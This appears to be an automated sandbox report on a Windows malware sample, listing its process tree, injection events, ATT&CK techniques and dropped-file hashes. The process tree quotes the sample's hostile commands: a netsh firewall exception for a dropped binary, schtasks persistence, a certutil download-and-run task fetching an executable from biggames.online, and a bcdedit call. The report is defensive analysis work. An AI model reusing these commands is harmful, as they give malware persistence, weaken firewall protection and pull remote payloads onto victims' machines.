Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-522 = "N. Central Asia Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2508	schtasks.exe
2644	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2880	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
484	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
2540	csrss.exe
2540	csrss.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2880	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Token: SeImpersonatePrivilege	2880	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Token: SeSystemEnvironmentPrivilege	2540	csrss.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 2828 wrote to memory of 2880	2828	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	30
PID 2828 wrote to memory of 2880	2828	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	30
PID 2828 wrote to memory of 2880	2828	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	30
PID 2828 wrote to memory of 2880	2828	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	30
PID 2828 wrote to memory of 2880	2828	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	30
PID 2828 wrote to memory of 2880	2828	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	30
PID 2828 wrote to memory of 2880	2828	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	30
PID 2828 wrote to memory of 2880	2828	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	30
PID 2828 wrote to memory of 2880	2828	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	30
PID 2728 wrote to memory of 484	2728	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	36
PID 2728 wrote to memory of 484	2728	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	36
PID 2728 wrote to memory of 484	2728	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	36
PID 2728 wrote to memory of 484	2728	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	36
PID 2728 wrote to memory of 484	2728	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	36
PID 2728 wrote to memory of 484	2728	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	36
PID 2728 wrote to memory of 484	2728	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	36
PID 2728 wrote to memory of 484	2728	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	36
PID 2728 wrote to memory of 484	2728	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	36
PID 484 wrote to memory of 1852	484	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	37
PID 484 wrote to memory of 1852	484	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	37
PID 484 wrote to memory of 1852	484	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	37
PID 484 wrote to memory of 1852	484	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	37
PID 1852 wrote to memory of 2012	1852	cmd.exe	39
PID 1852 wrote to memory of 2012	1852	cmd.exe	39
PID 1852 wrote to memory of 2012	1852	cmd.exe	39
PID 484 wrote to memory of 2364	484	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	40
PID 484 wrote to memory of 2364	484	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	40
PID 484 wrote to memory of 2364	484	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	40
PID 484 wrote to memory of 2364	484	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	40
PID 2364 wrote to memory of 2540	2364	csrss.exe	41
PID 2364 wrote to memory of 2540	2364	csrss.exe	41
PID 2364 wrote to memory of 2540	2364	csrss.exe	41
PID 2364 wrote to memory of 2540	2364	csrss.exe	41
PID 2364 wrote to memory of 2540	2364	csrss.exe	41
PID 2364 wrote to memory of 2540	2364	csrss.exe	41
PID 2364 wrote to memory of 2540	2364	csrss.exe	41
PID 2364 wrote to memory of 2540	2364	csrss.exe	41
PID 2364 wrote to memory of 2540	2364	csrss.exe	41
PID 2540 wrote to memory of 768	2540	csrss.exe	50
PID 2540 wrote to memory of 768	2540	csrss.exe	50
PID 2540 wrote to memory of 768	2540	csrss.exe	50
PID 2540 wrote to memory of 768	2540	csrss.exe	50

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2828
- C:\Users\Admin\AppData\Local\Temp\3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
  "C:\Users\Admin\AppData\Local\Temp\3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2880
- - C:\Users\Admin\AppData\Local\Temp\3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2728
  - - C:\Users\Admin\AppData\Local\Temp\3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe"
      4⤵
      Windows security bypass
      Loads dropped DLL
      Windows security modification
      Adds Run key to start application
      Checks for VirtualBox DLLs, possible anti-VM trick
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:484
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\030f8bbd0cbf\030f8bbd0cbf\030f8bbd0cbf.exe" enable=yes"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1852
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\030f8bbd0cbf\030f8bbd0cbf\030f8bbd0cbf.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        Modifies data under HKEY_USERS
        
        PID:2012
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe ""
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2364
      - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe ""
        6⤵
        Executes dropped EXE
        Manipulates WinMonFS driver.
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2540
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2508
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://biggames.online/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2644
        
        C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
        
        "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1576
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\Sysnative\bcdedit.exe /v
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:768

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20241010234014.log C:\Windows\Logs\CBS\CbsPersist_20241010234014.cab
1⤵
- Drops file in Windows directory
PID:2692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab96A6.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar96A9.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Users\Admin\AppData\Local\Temp\osloader.exe

Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll

Filesize
1.5MB

MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll

Filesize
163KB

MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
\Windows\rss\csrss.exe

Filesize
3.6MB

MD5
3250ddce2dbf5a36ae50744e6632f945

SHA1
2e4e648fb1a583fe3d26ded76d017507e6cb1576

SHA256
886058a7a36e3085dcd318d75b24c6d0576f57ab5a3045a231986475659802a9

SHA512
ba1a82ced81d6ca0ee5b8d875ba6bd4d3933466acfd0463c53201cd749455940dcbc4db55adfbbf3d3945628af6511dedf8f1062b57078bc01d7c786ddef2060

Download Submit
memory/484-30-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/484-29-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/484-28-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/484-23-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/484-39-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/484-31-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/484-27-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/1576-80-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1576-65-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/2364-46-0x00000000036F0000-0x0000000003A62000-memory.dmp

Filesize
3.4MB

Download
memory/2540-134-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2540-372-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2540-546-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2540-545-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2540-544-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2540-543-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2540-542-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2540-57-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2540-56-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2540-55-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2540-58-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2540-59-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2540-54-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2540-53-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2540-60-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2540-61-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2540-541-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2540-540-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2540-539-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2540-538-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2540-536-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2540-427-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2540-256-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2540-135-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2728-22-0x0000000003430000-0x00000000037A2000-memory.dmp

Filesize
3.4MB

Download
memory/2828-1-0x0000000003490000-0x0000000003802000-memory.dmp

Filesize
3.4MB

Download
memory/2828-6-0x0000000003490000-0x0000000003802000-memory.dmp

Filesize
3.4MB

Download
memory/2828-0-0x0000000003490000-0x0000000003802000-memory.dmp

Filesize
3.4MB

Download
memory/2828-5-0x0000000003810000-0x0000000003B7E000-memory.dmp

Filesize
3.4MB

Download
memory/2880-10-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2880-13-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2880-8-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2880-11-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2880-12-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2880-14-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2880-9-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2880-2-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2880-4-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2880-15-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2880-17-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download